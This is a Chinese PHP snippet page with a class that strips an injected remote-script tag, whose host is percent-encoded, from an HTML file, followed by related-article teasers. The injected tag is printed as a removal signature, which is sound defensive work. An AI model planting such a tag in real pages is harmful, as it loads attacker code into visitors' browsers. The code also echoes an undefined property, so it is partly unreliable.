php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

浅析memcache启动以及telnet命令详解

1、启动Memcache 常用参数复制代码 代码如下:-p <num> 监听的TCP端口(默认: 11211)-U <num> UDP监听端口 (默认: 1121...

效率较高的php下读取文本文件的代码 原创

 fread :以字节位计算长度,按照指定的长度和次数读取数据,遇到结尾或完成指定长度读取后停止.  fgets :整行读取,遇到回车换行或结尾停...

解决file_get_contents无法请求https连接的方法

错误: Warning: fopen() [function.fopen]: Unable to find the wrapper "https" - did you forget to...

header函数设置响应头解决php跨域问题实例详解

设置允许访问的域名: 1、允许全部的域名访问 header("Access-Control-Allow-Origin:*"); 2、允许指定域名访问 header( 'Acce...

解析PHP中如何将数组变量写入文件

在用PHP记录日志,或者是 Ajax 请求出错想要 debug 的时候。我们一般都会将信息写入到一个指定的文件当中。然后根据相应的信息来处理问题。比如笔者最喜欢在用 Ajax 取不到数据...